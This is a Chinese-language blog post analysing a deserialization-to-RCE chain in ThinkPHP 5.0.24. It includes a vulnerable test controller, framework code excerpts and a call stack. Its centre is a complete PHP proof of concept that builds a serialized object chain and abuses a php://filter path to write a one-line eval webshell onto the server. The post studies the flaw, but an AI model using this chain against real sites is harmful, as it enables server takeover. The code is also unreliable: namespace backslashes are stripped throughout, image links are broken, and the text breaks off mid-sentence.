网络知识 娱乐 Thinkphp 5.0.24反序列化漏洞导致RCE分析

Thinkphp 5.0.24反序列化漏洞导致RCE分析

1. 概述

总体思路就是先全局搜索可以利用的魔法函数作为入口,比如__destruct,然后再一步步构造pop链往漏洞触发点跳

根据大佬的指点漏洞触发点在thinkphp/library/think/console/Output.php的__call方法

public function __call($method, $args)
    {
        if (in_array($method, $this->styles)) {
            array_unshift($args, $method);
            return call_user_func_array([$this, 'block'], $args); ## 漏洞触发点,这里可以做为跳板,来触发漏洞
        }

        if ($this->handle && method_exists($this->handle, $method)) {
            return call_user_func_array([$this->handle, $method], $args);
        } else {
            throw new Exception('method not exists:' . __CLASS__ . '->' . $method);
        }
    }

2. 环境搭建

Windows、PHPStudy(PHP5.6.27)、ThinkPHP5.0.24;

ThinkPHP5.0.24 下载地址如下:

https://www.thinkphp.cn/download/1279.html

搭建好如下图所示:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UF87bEvk-1648394538253)(C:Users91136AppDataRoamingTyporatypora-user-imagesimage-20220327115153591.png)]

先来写一个入口函数,将applicationindexcontrollerIndex.php修改为:

<?php
namespace appindexcontroller;

class Index
{
    public function index()
    {
        if(isset($_GET['data'])){
            #echo base64_decode($_GET['data']);
            #echo '
';
#echo 'aaa'; $data = base64_decode($_GET['data']); unserialize($data); }else{ highlight_file(__FILE__); } #return '*{ padding: 0; margin: 0; } .think_default_text{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }

:)

ThinkPHP V5
十年磨一剑 - 为API开发设计的高性能框架

[ V5.0 版本由 七牛云 独家赞助发布 ]
';
} }

至此环境就完全搭建好了。

3. POP链与POC

这里直接上大佬给的POP链图
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MERvS92s-1648394538254)(C:Users91136Desktopt01811445c8ddbe04a2.png)]
poc如下:

<?php

namespace thinkprocesspipes;
abstract class Pipes
{
}

use thinkmodelPivot;

class Windows extends Pipes
{
    private $files = [];

    function __construct()
    {
        $this->files = [new Pivot()];
    }
}

namespace think;

abstract class Model
{
    protected $append = [];
    protected $error;
    protected $parent;
}

namespace thinkmodel;

use thinkModel;
use thinkconsoleOutput;
use thinkmodelrelationHasOne;

class Pivot extends Model
{
    public $parent;

    function __construct()
    {
        $this->append = ["getError" => "getError"];
        $this->parent = new Output();
        $this->error = new HasOne();
    }
}

namespace thinkdb;

use thinkconsoleOutput;

class Query
{
    protected $model;

    function __construct()
    {
        $this->model = new Output();
    }
}

namespace thinkmodel;
abstract class Relation
{
    protected $selfRelation;
    protected $query;
}

namespace thinkmodelrelation;

use thinkmodelRelation;

abstract class OneToOne extends Relation
{
    protected $bindAttr = [];
}

use thinkdbQuery;

class HasOne extends OneToOne
{
    function __construct()
    {
        $this->selfRelation = false;
        $this->query = new Query();
        $this->bindAttr = [1 => "file"];
    }
}

namespace thinkconsole;

use  thinksessiondriverMemcached;

class Output
{
    private $handle = null;
    protected $styles = [];

    function __construct()
    {
        $this->handle = new Memcached();
        $this->styles = ["getAttr"];
    }
}

namespace thinksessiondriver;

use thinkcachedriverFile;

class Memcached
{
    protected $handler = null;
    protected $config = [];

    function __construct()
    {
        $this->handler = new File();
        $this->config = [
            'session_name' => '',
            'expire' => null,
        ];
    }
}


namespace thinkcachedriver;
class File
{
    protected $options = [];
    protected $tag;

    function __construct()
    {
        $this->options = [
            'expire' => 0,
            'cache_subdir' => false,
            'prefix' => '',
            'path'=>'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php',
            'data_compress' => false,
        ];
        $this->tag = true;
    }

    public function get_filename()
    {
        $name = md5('tag_' . md5($this->tag));
        $filename = $this->options['path'];
        $pos = strpos($filename, "/../");
        $filename = urlencode(substr($filename, $pos + strlen("/../")));
        return $filename . $name . ".php";
    }
}


use thinkprocesspipesWindows;

echo base64_encode(serialize(new Windows()));#payload

echo "n";
$f = new File();
echo $f->get_filename();#获取shell的文件名

这里我自己也整理了一下poc画成了图的形式,方便理解
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-L21NFXKM-1648394538254)(C:Users91136AppDataRoamingTyporatypora-user-imagesimage-20220327120453349.png)]
整个的一个调用栈为

index.php:8, appindexcontrollerIndex->index()
Windows.php:59, thinkprocesspipesWindows->__destruct()
Windows.php:163, thinkprocesspipesWindows->removeFiles()
Windows.php:163, file_exists()
Model.php:2267, thinkModel->__toString()
Model.php:936, thinkModel->toJson()
Model.php:912, thinkModel->toArray()
Output.php:212, thinkconsoleOutput->__call()
Model.php:912, thinkconsoleOutput->getAttr()
Output.php:212, call_user_func_array()
Output.php:124, thinkconsoleOutput->block()
Output.php:143, thinkconsoleOutput->writeln()
Output.php:154, thinkconsoleOutput->write()
Memcache.php:94, thinksessiondriverMemcache->write()
File.php:160, thinkcachedriverFile->set()
File.php:160, thinkcachedriverFile->set()

4. 漏洞分析

起点是thinkphp/library/think/process/pipes/Windows.phpremoveFiles方法

    public function __destruct()
    {
        $this->close();
        $this->removeFiles();
    }

跟进removeFiles方法

    private function removeFiles()
    {
        foreach ($this->files as $filename) {
            #var_dump($filename);
            #die();
            if (file_exists($filename)) {
                @unlink($filename);
            }
        }
        $this->files = [];
    }

跳板:可以看到里面有个file_exists判断,$filename为$this->files所以我们可控,如果$filename为一个对象,那么就会触发这个对象的__tostring方法

全局搜索__tostring方法,这里我们选择model类的tostring方法
在这里插入图片描述
但是呢因为这里的model是一个抽象类,其意义在于被扩展,所以我们不能让$this->files=new model,全局搜索一下看谁继承了model类

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yh1NHqmH-1648394538255)(C:Users91136AppDataRoamingTyporatypora-user-imagesimage-20220327123210734.png)]
可以看到一共有两个,随便选一个即可,这里我选择的是pivot类

所以$this->files=[new Pivot()]

因此从上面的file_exists,我们就跳到了model类的tostring方法

跟进tojson方法

model.php   
   public function toJson($options = JSON_UNESCAPED_UNICODE)
    {
        #echo '123';
        #die();
        return json_encode($this->toArray(), $options);
    }

跟进toarray方法

model.php       
    public function toArray()
    {
        $item    = [];
        $visible = [];
        $hidden  = [];

        $data = array_merge($this->data, $this->relation);

        // 过滤属性
        if (!empty($this->visible)) {
            $array = $this->parseAttr($this->visible, $visible);
            $data  = array_intersect_key($data, array_flip($array));
        } elseif (!empty($this->hidden)) {
            $array = $this->parseAttr($this->hidden, $hidden, false);
            $data  = array_diff_key($data, array_flip($array));
        }

        foreach ($data as $key => $val) {
            if ($val instanceof Model || $val instanceof ModelCollection) {
                // 关联模型对象
                $item[$key] = $this->subToArray($val, $visible, $hidden, $key);
            } elseif (is_array($val) && reset($val) instanceof Model) {
                // 关联模型数据集
                $arr = [];
                foreach ($val as $k => $value) {
                    $arr[$k] = $this->subToArray($value, $visible, $hidden, $key);
                }
                $item[$key] = $arr;
            } else {
                // 模型属性
                $item[$key] = $this->getAttr($key);
            }
        }
        // 追加属性(必须定义获取器)
        if (!empty($this->append)) {
            foreach ($this->append as $key => $name) {
                if (is_array($name)) {
                    // 追加关联对象属性
                    $relation   = $this->getAttr($key);
                    $item[$key] = $relation->append($name)->toArray();
                } elseif (strpos($name, '.')) {
                    list($key, $attr) = explode('.', $name);
                    // 追加关联对象属性
                    $relation   = $this->getAttr($key);
                    $item[$key] = $relation->append([$attr])->toArray();
                } else {
                    $relation = Loader::parseName($name, 1, false);
                    if (method_exists($this, $relation)) {
                        $modelRelation = $this->$relation();
                        $value         = $this->getRelationData($modelRelation);

                        if (method_exists($modelRelation, 'getBindAttr')) {
                            $bindAttr = $modelRelation->getBindAttr();
                            if ($bindAttr) {
                                foreach ($bindAttr as $key => $attr) {
                                    $key = is_numeric($key) ? $attr : $key;
                                    if (isset($this->data[$key])) {
                                        throw new Exception('bind attr has exists:' . $key);
                                    } else {
                                        $item[$key] = $value ? $value->getAttr($attr) : null;
                                    }
                                }
                                continue;
                            }
                        }
                        $item[$name] = $value;
                    } else {
                        $item[$name] = $this->getAttr($name);
                    }
                }
            }
        }
        return !empty($item) ? $item : [];
    }

进入到toarray方法后,现在就应该考虑如何调用漏洞触发点即如何调用Output.__call()

这块一共有三处可以调用__call方法,根据大佬提示,这里我们选择第三处
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-l4I5OjhY-1648394538255)(C:Users91136AppDataRoamingTyporatypora-user-imagesimage-20220327123805313.png)]
如果我们找这一处